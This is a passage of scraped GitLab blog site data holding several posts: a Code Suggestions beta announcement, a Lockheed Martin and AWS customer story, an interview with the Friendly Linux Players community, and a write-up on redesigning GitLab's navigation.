Beta.","https://about.gitlab.com/blog/code-suggestions-for-all-during-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Code Suggestions available to all GitLab tiers while in Beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Neha Khalwadekar\"}],\n        \"datePublished\": \"2023-05-16\",\n      }",{"title":10160,"description":10161,"authors":10165,"heroImage":8601,"date":10166,"body":10167,"category":791,"tags":10168},[10053],"2023-05-16","\n\n\u003Ci>This blog is the latest post in an ongoing series about GitLab’s journey to \u003Ca href=\"/blog/ai-ml-in-devsecops-series/\">build and integrate AI/ML into our DevSecOps platform\u003C/a>. The first blog post can be found \u003Ca href=\"/blog/what-the-ml-ai/\">here\u003C/a>. Throughout the series, we’ll feature blogs from our product, engineering, and UX teams to showcase how we’re infusing AI/ML into GitLab.\u003C/i>\n\nCode Suggestions is now available on GitLab.com for all users for free while the feature is in Beta. Teams can boost efficiency with the help of generative AI that suggests code while you're developing. We've extended language support from our initial six languages to now include 13 languages: C/C++, C#, Go, Java, JavaScript, Python, PHP, Ruby, Rust, Scala, Kotlin, and TypeScript. \n\nWe are making improvements to the Code Suggestions underlying AI model weekly to improve the quality of suggestions. Please remember that AI is non-deterministic, so you may not get the same suggestion week to week.\n\n## Privacy first\nCode Suggestions is built with privacy as a critical foundation. It keeps your proprietary source code secure within GitLab's enterprise cloud infrastructure, and this code isn't used as training data. Source code inference against the Code Suggestions model is not used to re-train the model. Learn about [data usage when using Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#code-suggestions-data-usage). \n\n## IDE support\nCode Suggestions is available in VS Code via the [GitLab Workflow extension](https://docs.gitlab.com/ee/user/project/repository/vscode.html#gitlab-workflow-extension-for-vs-code). We will soon support the GitLab WebIDE with GitLab 16.0. We are also working on adding [additional IDE support](https://gitlab.com/groups/gitlab-org/-/epics/10542) based on customer feedback, including JetBrains IntelliJ-based IDEs and Visual Studio support for code suggestions. We are also working to improve the user experience for how suggestions are presented and accepted within the IDEs to give developers more control over how the feature works. Additionally we're working to make it easier to setup Code Suggestions the first time and authenticate with GitLab.com \n\n## Self-managed support\nWe are also working to bring Code Suggestions to self-managed instances [via a secure connection to GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/10528). If you have unique requirements for your self-managed instances, we welcome you to express your interest in our [self-managed support issue](https://gitlab.com/gitlab-org/gitlab/-/issues/409183). Commenting on that issue will give you notifications as we post updates. \n\n## Enable Code Suggestions\nOur documentation details how to [enable Code Suggestions in VS Code](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-in-vs-code). Below is a quickstart video walkthrough:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/WnxBYxN2-p4\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Beta feature\nThis feature is in [Beta](https://docs.gitlab.com/ee/policy/experiment-beta-support.html#beta). Code Suggestions uses generative AI to suggest code while you're developing. Due to high demand, this feature will have unscheduled downtime and code suggestions in VS Code may be delayed. Code Suggestions may produce [low-quality or incomplete suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#model-accuracy-and-quality). We look forward to hearing your feedback. Beta users should read about the [known limitations](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations). \n\nWe would love to hear about your experience and report issues in the [feedback issues](https://gitlab.com/gitlab-org/gitlab/-/issues/405152). \n\nCode Suggestions is just one of the ways we’re infusing GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI-assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-powered features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our \"[AI/ML in DevSecOps](https://about.gitlab.com/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information about upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":10170,"featured":6,"template":678},"code-suggestions-for-all-during-beta","content:en-us:blog:code-suggestions-for-all-during-beta.yml","Code Suggestions For All During Beta","en-us/blog/code-suggestions-for-all-during-beta.yml","en-us/blog/code-suggestions-for-all-during-beta",{"_path":10176,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10177,"content":10183,"config":10187,"_id":10189,"_type":16,"title":10190,"_source":17,"_file":10191,"_stem":10192,"_extension":20},"/en-us/blog/lockheed-martin-aws-gitlab",{"title":10178,"description":10179,"ogTitle":10178,"ogDescription":10179,"noIndex":6,"ogImage":10180,"ogUrl":10181,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10181,"schema":10182},"GitLab, AWS help strengthen Lockheed Martin’s digital transformation","Lockheed Martin’s software factory selected GitLab’s DevSecOps Platform, along with AWS, to streamline toolchains, increase collaboration, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668830/Blog/Hero%20Images/lockheed-martin-cover-2.jpg","https://about.gitlab.com/blog/lockheed-martin-aws-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab, AWS help strengthen Lockheed Martin’s digital transformation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2023-05-16\",\n      }",{"title":10178,"description":10179,"authors":10184,"heroImage":10180,"date":10166,"body":10185,"category":962,"tags":10186},[711],"\nLockheed Martin launched its 1LMX initiative to transform its end-to-end business processes and systems. One focus of the transformation was to pare down the company’s wide variety of DevOps tools – each program or product line at Lockheed Martin had its own toolchain. To mitigate this issue, drive rapid production, and increase collaboration, Lockheed Martin adopted GitLab’s DevSecOps Platform, run on AWS.\n\n“GitLab has strengthened our 1LMX transformation, upgrading the way we collaborate and innovate to develop software. Now, all of our programs have access to a high-quality software development environment,” said Alan Hohn, Lockheed Martin’s Director of Software Strategy.\n\nGitLab’s DevSecOps Platform enables Lockheed Martin to ship software more efficiently and securely for thousands of their programs, ranging from satellite platforms and aerospace systems to ground control software and maritime surface and subsurface software.\n\nHere are some top-level benefits that Lockheed Martin has seen with GitLab’s DevSecOps Platform:\n* Using GitLab’s single platform, Lockheed Martin’s legacy projects are delivered to testing every six days, down from a monthly cadence using distributed toolchains.   \n* Developers experienced a 90% reduction in time spent on system maintenance.\n* The organization has seen 200% annual growth in adoption of The DevSecOps Platform.\n* AWS enabled automated Infrastructure as Code for a scalable and resilient cloud architecture.\n\n## Efficiency gains\n\nIn migrating to GitLab, Lockheed Martin has realized a number of benefits and eliminated obstacles. In three and a half years, Lockheed Martin has created 64,000 projects on GitLab, and created 110,000 continuous integration builds daily. \n\nAdditionally, they were able to retire thousands of separately maintained servers thereby reducing time spent on maintenance by 90%. GitLab further enables internal efficiency within the organization by allowing teams to securely share reusable code components in globally accessible environments. Since implementing GitLab, Lockheed Martin teams have added 18 new repositories a day for the past two years. \n\n## How GitLab, AWS, and Lockheed Martin work together\n\nIn 2022, after rapid adoption of GitLab created the need for a more scalable solution, Lockheed Martin, GitLab, and AWS worked together to automate and optimize Lockheed Martin's code deployment across the enterprise. \n\nThe solution started with a well-architected review of the design between Lockheed Martin, AWS, and GitLab. AWS then helped to automate and optimize the Lockheed Martin GitLab deployment for continuous integration and continuous delivery (CI/CD) environment by delivering Infrastructure as Code to deploy the environment in two hours vs. several hours previously. \n\nThe AWS team also established workflows to deliver a fully automated, highly available, disaster recovery-compliant, scalable architecture for GitLab enabling a consistent process that runs without manual intervention.\n\nAWS supported load balancing to auto-scale the deployment process based on developer demand for pipeline runs and user traffic so that developers are not waiting on their deployments to execute. Pre-migration testing was performed to establish baselines, followed by post-migration testing to measure performance and scalability gains in delivering faster deployments. \n\nAdditionally, monitoring and security controls were implemented to comply with Lockheed Martin policies. As a result, the team was able to deliver operational efficiencies with the number of build requests waiting to be processed decreasing from 200 to zero, and reduced time for code deployment across the enterprise.\n\nThis effort showcased how large enterprises with thousands of software developers can build and deploy automated, scalable, and resilient code pipelines in the cloud using platforms such as GitLab by leveraging AWS best practices.\n\nGitLab’s Chief Product Officer David DeSanto added, “For more than a century, Lockheed Martin has set the standard for innovation within the public sector, and demonstrates what is possible when organizations invest in digital transformation efforts.”\n\nLockheed Martin has 20,000 GitLab users, and is looking to double that number and migrate even more of their projects over to The DevSecOps Platform in the coming years. To dig deeper into how Lockheed Martin uses GitLab, read [our case study](/customers/lockheed-martin), and to learn more about GitLab for the Public Sector, visit [our site](/solutions/public-sector/).\n",[2705,944,2368],{"slug":10188,"featured":6,"template":678},"lockheed-martin-aws-gitlab","content:en-us:blog:lockheed-martin-aws-gitlab.yml","Lockheed Martin Aws Gitlab","en-us/blog/lockheed-martin-aws-gitlab.yml","en-us/blog/lockheed-martin-aws-gitlab",{"_path":10194,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10195,"content":10201,"config":10205,"_id":10207,"_type":16,"title":10208,"_source":17,"_file":10209,"_stem":10210,"_extension":20},"/en-us/blog/building-inclusive-gaming-community-gitlab",{"title":10196,"description":10197,"ogTitle":10196,"ogDescription":10197,"noIndex":6,"ogImage":10198,"ogUrl":10199,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10199,"schema":10200},"Building a more inclusive gaming community with GitLab","Meet the Friendly Linux Players, an open source community focused on making video gaming less intimidating and more welcoming for everyone.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672079/Blog/Hero%20Images/videogamer.jpg","https://about.gitlab.com/blog/building-inclusive-gaming-community-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building a more inclusive gaming community with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-05-15\",\n      }",{"title":10196,"description":10197,"authors":10202,"heroImage":10198,"date":10203,"body":10204,"category":813},[8083],"2023-05-15","\nThe Friendly Linux Players ([FLiP](https://friendlylinuxplayers.org/)) get it: Video gaming on Linux-based platforms has never been a straightforward, uncomplicated affair. In fact, it's been notoriously intimidating.\n\nA community of open gaming enthusiasts, FLiP wants to build a better future for gaming on Linux — one that begins with a more inclusive culture and participatory spirit.\n\nThe group recently joined the [GitLab for Open Source Program](https://go.gitlab.com/SEUvzJ), and I caught up with some of their members — [Andrew Conrad](https://gitlab.com/her0) (he/him), [Lara Flynn](https://gitlab.com/CrimsonFork) (it/she), [Andrew K.](https://gitlab.com/signal9) (he/him), [Nell Hardcastle](https://gitlab.com/nell) (she/her), and [Stephan Lanfermann](https://gitlab.com/DerRidda) (he/him) — to learn more about how they're using GitLab to build a friendlier, more welcoming gaming community with open principles, protocols, and tools.\n\n**Tell me about the Friendly Linux Players. What brought your community together?**\n\nAndrew C.: Friendly Linux Players started with a couple ideas I had in 2017 for a new Linux gaming community. The most important of these ideas was creating a specifically inclusive space, which I don't think existed elsewhere in Linux gaming at the time.\n\nAndrew K.: One of our primary goals is to make gaming on Linux less intimidating for everyone, which we believe will further promote the growth of our community. With FLiP, you'll find a welcoming and supportive community of like-minded individuals who are passionate about gaming on Linux.\n\nLara: I joined sometime between 2017 and 2018. I didn't really think much of it, just was interested in playing games and Linux and that's where [Matrix's](https://matrix.org/) room search led me. At the time, I was blissfully unaware of the kinds of things one would deal with in an average \"gaming\" community, or why that would be of special impact to me. I remember being asked to read the [code of conduct](https://friendlylinuxplayers.org/conduct) and wondering why half the things even need to be specified. FLiP is the first community I decided to settle into and feel comfortable, which, evidently, I still do.\n\nAndrew C.: Another of my ideas was to create a place where anyone could host a gaming event. We were able to implement this idea earlier this year, using a new bot I made: [flip-matrix-bot](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot), which is available on GitLab.com. Since creating this, regularly hosted gaming events have brought a surge of membership and participation in the community.\n\n**What does a typical FLiP-hosted gaming event look like?**\n\nNell: Events usually [involve] getting together for a multiplayer cooperative or competitive game. We are mainly talking via voice chat while playing the game chosen for the event. For me, I've been learning a lot of the games we've been playing, so I've asked questions about how the game works or what's the best approach and strategies. There's also some general chatting about off-topic things before we start or once everyone has the basics of the game figured out.\n\nAndrew K.: When we have a gaming event on FLiP, we usually start by hopping on the Mumble (voice chat) server and making sure everyone's in before we get going. The host gives us the lowdown on how to join the game (like which server we're playing on) and then we're off! There's no pressure to stick around for a certain amount of time; you can come and go as you please. These events usually last from two to five hours.\n\nAndrew C.: Our first event was on January 29th. At the moment, we have 31 events scheduled on [the calendar](https://friendlylinuxplayers.org/events), through July 16th. We've held around one or two events per week. At most, we've had about seven participants joining each one.\n\n**What does flip-matrix-bot do to empower community members and promote a more inclusive environment?**\n\nAndrew C.: flip-matrix-bot is our community bot, which can be interacted with through a CLI-like interface in the [Matrix chat protocol](https://matrix.org/docs/guides/introduction). It is written in [Rust](/blog/rust-programming-language/). We use it primarily for scheduling events, sending reminders about events, and making event data available outside of our main Matrix room (such as in an iCalendar feed or [the events page of our website](https://friendlylinuxplayers.org/events)). One particularly fun implementation detail: Instead of using local files or a relational database, event data is stored as custom \"messages\" in a separate Matrix room. This makes it more portable, and lowers the requirements to build and run the bot. This helps realize another motivation behind my original dream of allowing anyone to volunteer to host a gaming event: It decouples event hosting from community admins and moderators, which allows for the events to be more community-driven. This lower barrier to entry makes it easier for people to host events at different times of day, to accommodate different regions (I live in the U.S., but the community is international), or for someone to host an event for a game that none of the community leadership owns. I am excited to participate in [the first event scheduled by a regular community member](https://friendlylinuxplayers.org/events/90efd648ab9fb34b), and I am dedicated to keeping this open to all.\n\n**So community members can also contribute to flip-matrix-bot if they'd like?**\n\nAndrew C.: Yes. I've worked to make it easier for people with different skill levels to contribute to flip-matrix-bot, including a [good for new contributors label on issues](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/?label_name%5B%5D=good%20for%20new%20contributors). Several community members have already contributed to the bot. One contribution even came from someone entirely new to Matrix bots and the Rust programming language, illustrating one benefit of our open approach.\n\n**Why do you think gamers are attracted to the community you're building?**\n\nAndrew C.: I think there are a few main categories of people who have interest in joining FLiP. Most community members probably already have an interest in playing games on Linux, and already have a PC or Steam Deck running Linux, though this is not a requirement to participate in the community. Many join because we have created a specifically inclusive space, which is not very common in any community, let alone ones allowing anonymity on the internet. Some like the option of joining regularly hosted gaming events, including several of my fellow GitLab team members. There are certainly members who are drawn to the fact that the community is centered around [Matrix](https://matrix.org/) and [Mumble](https://www.mumble.info), with open source clients/servers/specifications, as opposed to something like Discord.\n\nAndrew K.: For a long time, gaming on Linux was considered a niche hobby, but thanks to recent advancements in compatibility layers and the introduction of the Steam Deck, it has become a viable option for many gamers. However, there are still unique challenges and obstacles that Linux gamers face that gamers on other platforms don't. This is where FLiP comes in. I think our friendly community is a perfect match for gamers who are seeking others who share their struggles with gaming on Linux. We're always ready to offer assistance and guidance to help you overcome any issues you may encounter.\n\nLara: In my opinion, what makes this community so great is that it *doesn't* appeal to all gamers, but only those who don't spread the toxicity you'll find elsewhere.\n\nNell: Speaking as a more recent member, I've been gaming with Linux for a long time but was drawn to FLiP due to the inclusivity commitment. Many gaming groups are not concerned with this and they can be especially hostile for women. It takes planning and moderation work to make sure any online social group is being careful to not exclude people and I appreciate what this group does to make sure members are comfortable participating.\n\n**What measures do you take to ensure the community remains inclusive?**\n\nAndrew C.: I feel that a community cannot be *inclusive* unless it is known to always *exclude* those who would create an unsafe environment for others. So the most important aspect of how we ensure inclusivity is having a strong code of conduct, which we strictly enforce.\n\nNell: Beyond the code of conduct, I think our members make the extra effort to include people and provide a welcoming environment. Everyone involved cares about this and puts in effort.\n\nLara: The community does a great job promoting inclusivity, so it doesn't need many specific measures in place to stay friendly. So I suppose the biggest measure in place is to provide a safe space where folks are and feel heard, and where people can point to issues when they arise.\n\n**You mentioned compatibility and general availability as two barriers to popularizing gaming on Linux. What are some of the other barriers your community hopes to lower?**\n\nAndrew C.: Game compatibility and availability are technical challenges to playing games on Linux. The biggest challenges that FLiP tries to address are social ones. By creating a friendly and inclusive Linux gaming community, where people can feel safe participating, I like to think that we help make Linux gaming more accessible for many. Of course, we also have a [Tech Support](https://matrix.to/#/#tech-support:flip.earth) Matrix chat room, which allows for individual members to ask for technical help from the rest of the community.\n\n**How does using GitLab help you build and serve your community?**\n\nStephan: GitLab helps us embrace the 'free software by default' culture that many in the Linux community expect and FLiP swears by. What good is it to build our community exclusively on free software platforms and then keep the things we build ourselves a secret? [With GitLab](https://gitlab.com/FriendlyLinuxPlayers), everyone can see how FLiP is made, contribute to FLiP resources, and potentially re-use the software for their own benefit.\n\nNell: The accessibility of GitLab as a platform is excellent, and using a platform that is [well-aligned with our group's values](https://go.gitlab.com/spHNym) is nice. Being able to host the organizational tooling with public code management and allowing for member contributions and feedback is really valuable to building a community like this, where we really want to take that seriously.\n\n**Now perhaps the *most important* question: What are you playing right now? What games would you recommend?**\n\nNell: For FLiP's multiplayer events, I've really enjoyed [Deep Rock Galactic](https://store.steampowered.com/app/548430/Deep_Rock_Galactic/) and recently [Nebulous: Fleet Command](https://store.steampowered.com/app/887570/NEBULOUS_Fleet_Command/). I'm also playing [Dredge](https://store.steampowered.com/app/1562430/DREDGE/) at the moment; cozy fishing horror is perfect for the Steam Deck. I recently finished [Hi-Fi Rush](https://store.steampowered.com/app/1817230/HiFi_RUSH/) and I loved how polished and fun that was. I recommend it.\n\nLara: I've been recently getting back into [Teardown](https://teardowngame.com) and especially [Geometry Dash](https://store.steampowered.com/app/322170/Geometry_Dash/), which, funny thing, work way better on my setup than they would with the same hardware on Windows (I measured), despite not having native Linux releases. This is because of how much better Mesa's implementation of OpenGL is, compared to AMD's Windows drivers. Also [A YEAR OF SPRINGS](https://steamcommunity.com/app/1688580), a cute visual novel I can recommend to anyone and [Entropy: Zero 2](https://store.steampowered.com/app/1583720/Entropy__Zero_2/) (surely it would be \"Entropy: One“ at that point), [arguably](https://moddb.com/mods/entropy-zero-2/news/mod-of-the-year8) the best Hλlf-Life² mod there is, that also more recently got a native Linux release and is continuously updated, such as with the same controller/ Steam Deck friendly UI that Valve updated the original Portal and Hλlf-Life² with.\n\nStephan: I have been greatly enjoying the [Resident Evil 4 Remake](https://store.steampowered.com/app/2050650/Resident_Evil_4/), which is performing absolutely flawlessly for me on Linux on top of being an amazing game. Beyond that, I regularly go back to [Squad](https://store.steampowered.com/app/393380/Squad/) as my main multiplayer game.\n\nAndrew C.: I've been hosting most of the community's events so far, so I've played a variety of multiplayer games recently. Among those, I have also been enjoying Nebulous, where I can't stop thinking about different fleets I can create! In addition, I've been playing [Arma Reforger](https://store.steampowered.com/app/1874880/Arma_Reforger/), though I'm not sure if I would recommend it right now, as it is in a pretty early state. Along a very different vein, I recently picked up [Liftoff](https://store.steampowered.com/app/410340/Liftoff_FPV_Drone_Racing/), a first person quadcopter simulator.\n\n*Andrew Conrad and Stephan Lanfermann are founding members of FLiP. Andrew K., Lara Flynn, and Nell Hardcastle participate in FLiP as community moderators, software developers, and event participants.*\n\nCover image by [Julien Tromeur](https://unsplash.com/@julientromeur) on [Unsplash](https://www.unsplash.com).\n{: .note}\n",{"slug":10206,"featured":6,"template":678},"building-inclusive-gaming-community-gitlab","content:en-us:blog:building-inclusive-gaming-community-gitlab.yml","Building Inclusive Gaming Community Gitlab","en-us/blog/building-inclusive-gaming-community-gitlab.yml","en-us/blog/building-inclusive-gaming-community-gitlab",{"_path":10212,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10213,"content":10219,"config":10224,"_id":10226,"_type":16,"title":10227,"_source":17,"_file":10228,"_stem":10229,"_extension":20},"/en-us/blog/overhauling-the-navigation-is-like-building-a-dream-home",{"title":10214,"description":10215,"ogTitle":10214,"ogDescription":10215,"noIndex":6,"ogImage":10216,"ogUrl":10217,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10217,"schema":10218},"How designing platform navigation is like building a dream home","Go behind the scenes and learn how we ideated toward a new user experience for GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680235/Blog/Hero%20Images/home-improvement.jpg","https://about.gitlab.com/blog/overhauling-the-navigation-is-like-building-a-dream-home","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How designing platform navigation is like building a dream home\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Austin Regnery\"}],\n        \"datePublished\": \"2023-05-15\",\n      }",{"title":10214,"description":10215,"authors":10220,"heroImage":10216,"date":10203,"body":10222,"category":734,"tags":10223},[10221],"Austin Regnery","\nDeciding on the look and feel of a new home is already challenging. The level of complexity grows even more when ideas involve altering the underlying structure itself. Every decision you make affects the feasibility of future changes. Choosing what is best can be subjective, even when rooted in the realities of physics and mathematics. Now imagine millions of people using this house, each with unique requirements. That gives you an idea of how it feels to update the navigation experience of GitLab. Picking a fork in the road means it won't be perfect for every user, but it needs to work well for the vast majority.\n\nWe'll share how our design process ideated through each solution to make a vision into reality.\n\n## Dreaming of a new home\n\nYou might dream of an extra bedroom, an open kitchen, or more efficient use of space. Regardless, it all starts with a vision of what comes next. In our release post, we shared how our [North Star vision](/blog/gitlab-product-navigation/#establishing-a-north-star) drove our direction. We used these themes to focus on the meaningful foundational elements as we explored new concepts. We built our design assumptions around these themes before filling out user interface elements.\n\n### Theme 1: Minimize the feeling of being overwhelmed\n\nThe project and group left sidebars have been growing. Features were in different places and often required users to search for the page they needed. We started addressing these issues in the following ways:\n\n- Reorganize page elements into consistent collections across groups and projects to reduce confusion.\n- Start everyone with sensible defaults for a baseline that accommodates most user needs.\n- Provide customizable options in the left sidebar which could reduce discovery time in the future.\n- Give back screen real estate so the focus remains on the page content and task.\n\n### Theme 2: Orient users across the platform\n\nIt could be difficult for a user to know where they were inside GitLab. Landmark clues like sidebars, breadcrumbs, and page titles weren't consistent and occasionally were missing. Without these wayfinding cues, jumping from one task to the next was challenging if the next thing wasn't directly in front of the user. To give a sense of place, we:\n\n- Show the pages specific to a given context by displaying all available options in the left sidebar.\n- Fix breadcrumbs at the top of the window to help users retain their context even when scrolling.\n\n### Theme 3: Allow users to pick up where they left off easily\n\nThere can be a lot going on at one time in GitLab, so it can be hard to know what to do next. It should feel natural to transition into GitLab and get started. Helping users transition means we must: \n\n- Make it clear that the homepage of GitLab can redirect anyone to their next task.\n- Keep things familiar so that anyone will feel right at home.\n- Reduce the number of page visits required to jump between tasks.\n\n## Visualizing the navigation layout \n\nIt's helpful to envision how you would use each room in a house before pulling it all together. We started by visualizing five different concepts, and each idea explores a unique design choice to address our assumptions.\n\n| Idea 1: Minimal features on display |\n| ------ |\n| There are so many features that could appear in the sidebar. How might it feel to only show a select number of them? |\n| ![Minimal features](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/minimal-features.png) |\n\n\u003Cbr>\n\n| Idea 2: Fewer collections to choose from |\n| ------ |\n| Organizing features into distinct collections mitigates growth but impacts discovery time. Would it be simpler to search through only a few options? |\n| ![Fewer collections](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/fewer-collections.png) |\n\n\u003Cbr>\n\n| Idea 3: Sidebar broken into multiple layers|\n| ------ |\n| GitLab can feel relatively flat in its structure, but it is far more complex than that. How might we use distinct layers in the sidebar to aid navigation around the platform? |\n| ![Sidebar layers](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/sidebar-layers.png) |\n\n\u003Cbr>\n\n| Idea 4: Breadcrumb navigation |\n| --- |\n| Breadcrumbs are a familiar pattern for distinguishing locations. If the breadcrumb were more prominent, how would it impact awareness? |\n| ![Breadcrumb navigation](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/breadcrumb-nav.png) |\n\n\u003Cbr>\n\n| Idea 5: Static navigation elements |\n| ---|\n| The sidebar has always been specific to the context. How would making the sidebar consistent across all screens impact user mental models? |\n| ![Static navigation](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/static-sidebar.png)|\n\n\u003Cbr>\n\nExploring [multiple ideas](https://gitlab.com/gitlab-org/gitlab/-/work_items/366338) let us evaluate different design decisions before settling on a final plan. We created a baseline across all the [concepts](https://gitlab.com/gitlab-org/gitlab/-/work_items/367687), exposed them to others for feedback, and tested them against a set of standardized tasks:\n\n- Task 1: Where would you go to see all issues for a project?\n- Task 2: How would you create an epic in a group?\n- Task 3: Imagine you started writing a comment and had to navigate away to address something else. Where would you go to find that comment?\n\n![Six frame panel](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/six-frame-vertical.png)\n\nTwo of the concepts felt easier to use and didn't require relearning. Both of these concepts build on familiar user flows. The other four proposals were overwhelming. The breadcrumb, collapse sidebar button, search bar, and pinned section were elements universally appreciated.\n\n## Making tough choices\n\nThese insights left us with one lingering question. Should we split the navigation across a top and left bar or move it all into one sidebar? We were down to two unique layouts but torn on which worked best. We had similar concepts with a few visual differences, but the key differentiator was the layout. So we devised a research plan with tasks specific to each user persona to observe how these participants adapted to these new concepts.\n\n|  Codename: [Element Reswizzle](https://www.figma.com/proto/PMIznpz7POtRKTiurKfZSF/Vision-for-Navigation?page-id=1475%3A60336&node-id=1624%3A78006&viewport=871%2C342%2C0.23&scaling=contain&starting-point-node-id=1624%3A78006&hotspot-hints=0&hide-ui=1)| Codename: [Super Sidebar](https://www.figma.com/proto/PMIznpz7POtRKTiurKfZSF/Vision-for-Navigation?page-id=1833%3A120024&node-id=1833%3A120025&viewport=454%2C513%2C0.25&scaling=scale-down&starting-point-node-id=1833%3A120025&hotspot-hints=0&hide-ui=1)\n| --- | --- |\n|  ![Homepage of two-story](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/two-story-home.png)| ![Homepage of ranch](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/ranch-home.png) |\n|  ![Issue list in two-story](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/two-story-issues.png) | ![Issue list in ranch](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/ranch-issues.png) |\n\nWe learned from our testing that the Super Sidebar was preferred as it allowed for more intuitive navigation between projects without losing context. Super Sidebar supported mature and new GitLab users better in their most common workflows. In comparison, only mature GitLab users found the Element Reswizzle easier. However, the Element Reswizzle offered elements, like icons and tool tips, that users would like to see included in Super Sidebar. \n\nWe chose to iterate and use the layout of the Super Sidebar while including aspects that were useful from Element Reswizzle.\n\n## Planning the big move\n\nWe had tackled the big questions around the scaffolding but hadn't solidified the specifics. We also needed to define color choices, font size and weight, spacing, alignment, icon options, organization of items, and placement of features. The finer details must work seamlessly and feel right, or the scaffolding around the product will fail to demonstrate its value due to a mediocre user experience. We created an  [epic](https://gitlab.com/groups/gitlab-org/-/epics/9044) to house all the work we'd try to accomplish before overhauling the core navigation experience.\n\n## Pouring the foundation\n\nEach milestone brought new design challenges and trade-off decision-making. We knew the direction, but it was impossible to change everything in a single milestone. We wanted to ensure the navigation was functional first because the structure is what we were most concerned about getting right. \n\n![First time groups appeared in the super sidebar](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/porting-functionality.png)\n\nWe first [added critical contexts](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111186) like your work, groups, and projects while unpacking the rest of the feature set. Focusing on the foundation first allowed us to get a sense of the flow of our new house before settling in.\n\nWe had team members start trying out an alpha experience early on. Some things might seem right in a design but feel off once in production. An example of this is how users switch contexts. Initially, we created a method built into the navigation sidebar but discovered it was confusing.\n\n> \"I wouldn't expect the rest of the nav to disappear when I uncollapse the project view. I would expect it to push the other content down rather than taking over all content in the panel.\" - [comment from our feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/403059#note_1350452712)\n\n| Before | After |\n| :---: | :---: |\n| ![Context switcher before](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/context-switcher-before.png) | ![Context switcher after](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/context-switcher-after.png) |\n\nWe pivoted by adding more layering with dropdown disclosure to give a sense of movement. It's not the perfect solution, but it's a good iteration that holds us over until we can design a better experience.\n\n## Getting ready to show\n\n![Screenshot of the new navigation](https://about.gitlab.com/images/blogimages/overhauling-the-navigation/premier.png)\n\nHoning the navigation will take numerous rounds of feedback, several more iterations, and plenty of patience. A home is never quite finished neither is the navigation of a platform like GitLab. Before the 16.0 release, we focused on squeezing in as many [UX improvements](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=merged&label_name%5B%5D=group%3A%3Afoundations&milestone_title=16.0&label_name%5B%5D=UX) and  [bug fixes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?label_name%5B%5D=group%3A%3Afoundations&label_name%5B%5D=type%3A%3Abug&milestone_title=16.0&scope=all&state=merged) as possible to improve upon our prior iterations. This has brought us to a navigation experience that works beautifully. We are excited to share it with everyone. We are confident that GitLab will become more usable and beloved with each new milestone. Try out the overhauled navigation experience today, and share your thoughts with us in our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/409005).",[2249,695,2248],{"slug":10225,"featured":6,"template":678},"overhauling-the-navigation-is-like-building-a-dream-home","content:en-us:blog:overhauling-the-navigation-is-like-building-a-dream-home.yml","Overhauling The Navigation Is Like Building A Dream 